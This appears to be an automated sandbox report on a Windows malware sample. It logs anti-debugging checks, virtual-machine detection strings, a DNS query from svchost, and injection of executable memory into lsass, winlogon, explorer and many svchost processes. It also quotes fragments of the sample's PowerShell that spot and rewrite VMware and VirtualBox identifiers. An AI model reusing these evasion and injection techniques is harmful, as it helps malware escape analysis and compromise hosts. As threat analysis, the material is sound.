Source: wzcsapi.exe, 00000003.00000002.2666839520.000000001B7B0000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1361992050.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2642522725.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000A.00000000.1366665069.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2633046852.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2632826106.000001EF0502B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1416668793.000001EF0502F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.1419893640.000002287A040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2642135506.000002287A040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2632168691.000001B94D436000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1425374229.000001B94D436000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 00000009.00000003.1482822792.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.23.dr	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc@
Source: svchost.exe, 0000000F.00000002.2689169832.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@Hyper-V RAW
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.23.dr	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc8
Source: WerFault.exe, 00000008.00000002.1587829124.00000265B499F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: WerFault.exe, 00000008.00000003.1585065018.00000265B459F000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000008.00000003.1582411351.00000265B459F000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000008.00000002.1587550148.00000265B459F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: svchost.exe, 0000001E.00000002.2635078292.000002517802B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.23.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: lsass.exe, 00000009.00000003.1482822792.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: svchost.exe, 00000022.00000000.1503370869.00000297A5600000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: lsass.exe, 00000009.00000003.1482822792.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: svchost.exe, 0000000A.00000002.2633046852.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000@3
Source: svchost.exe, 00000017.00000003.1476150275.000002A76AD8D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 0000000E.00000002.2698819352.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\wzcsvc.exe

API call chain: ExitProcess graph end node

graph_4-8463

Source: C:\Users\user\Desktop\wzcsvc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Code function: 1_2_00007FFAAC564A02 CheckRemoteDebuggerPresent,

1_2_00007FFAAC564A02

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Code function: 1_2_000002616F597D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_000002616F597D90

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Code function: 1_2_000002616F59FDA0 GetProcessHeap,

1_2_000002616F59FDA0

Source: C:\Users\user\Desktop\wzcsapi.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F597D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_000002616F597D90
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5A6218 SetUnhandledExceptionFilter,	1_2_000002616F5A6218
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F59D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_000002616F59D814
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819BD814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000216819BD814
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819B7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000216819B7D90
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000001CA7D1E7D90
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1ED814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000001CA7D1ED814
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1F6218 SetUnhandledExceptionFilter,	6_2_000001CA7D1F6218
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C07D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00000265B3C07D90
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C0D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00000265B3C0D814
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C16218 SetUnhandledExceptionFilter,	8_2_00000265B3C16218
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD5D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0000017D2DD5D814
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD66218 SetUnhandledExceptionFilter,	9_2_0000017D2DD66218
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD57D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0000017D2DD57D90
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B92D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0000022F4B92D814
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B927D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0000022F4B927D90
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2727D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0000013DE2727D90
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2736218 SetUnhandledExceptionFilter,	11_2_0000013DE2736218
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE272D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0000013DE272D814
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CAD814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00000262F1CAD814
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB6218 SetUnhandledExceptionFilter,	14_2_00000262F1CB6218
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CA7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00000262F1CA7D90
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E157D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002234E157D90
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E166218 SetUnhandledExceptionFilter,	15_2_000002234E166218
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E15D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002234E15D814
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B17D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000023942B17D90
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B1D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000023942B1D814
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056DD814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_000001EF056DD814
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056E6218 SetUnhandledExceptionFilter,	17_2_000001EF056E6218
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056D7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_000001EF056D7D90
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD7D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_000002287AD7D814
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD77D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_000002287AD77D90
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD86218 SetUnhandledExceptionFilter,	18_2_000002287AD86218
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA9D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_000001B94DA9D814
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA97D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_000001B94DA97D90
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202586218 SetUnhandledExceptionFilter,	20_2_0000025202586218
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002520257D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_000002520257D814
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202577D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0000025202577D90
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFCD814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_000001A9EBFCD814
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFC7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_000001A9EBFC7D90
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF1637D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000019FF1637D90
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF163D814 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000019FF163D814

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: i.ibb.co

.NET source code references suspicious native API functions

Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, aq-rvqt-9ov-hv8-iamz6-p-2-e.cs	Reference to suspicious API methods: LoadLibrary("kernel32.dll")
Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, aq-rvqt-9ov-hv8-iamz6-p-2-e.cs	Reference to suspicious API methods: GetProcAddress(intPtr, "IsDebuggerPresent")
Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, aq-rvqt-9ov-hv8-iamz6-p-2-e.cs	Reference to suspicious API methods: OpenProcess(1024u, 0, GetCurrentProcessId())
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, didyoumissme.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 17D2DD20000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22F4B8F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 262F1EA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23942AE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EF056A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2287AD40000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B94DA60000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25202540000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A9EBF90000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19FF1600000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A76A170000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14D26990000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2175D5C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B0AB960000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2129B2A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26384180000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25178730000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1495FCF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22125D90000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 297A5D80000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2D0F41C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C325340000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AEFC900000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 270F3530000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D326280000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16131E60000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AE137C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C93A3B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E2E4190000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1450000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AB68FA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 265951C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C263510000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2234E120000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18198580000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EF3C5C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E8E330000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5A2950000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD340C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B653790000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B19A0E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24730B30000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15F35DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 200792F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18CE9170000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D959540000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18F1A9A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FF01350000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 221D2530000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D400530000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\explorer.exe base: 8700000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27844DD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 258B00D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FA9A260000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1BFB71A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 26982020000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1496A4A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 190043F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 159AD5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B8E5260000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 189090B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB06E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 212DAEE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1EF4F460000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E594900000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 18C88430000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18FE0970000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FDE2F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2675A1B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Users\user\Desktop\r8k29DBraE.exe base: 2616F300000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Users\user\Desktop\wzcsapi.exe base: 1CE10000 protect: page execute and read and write	Jump to behavior
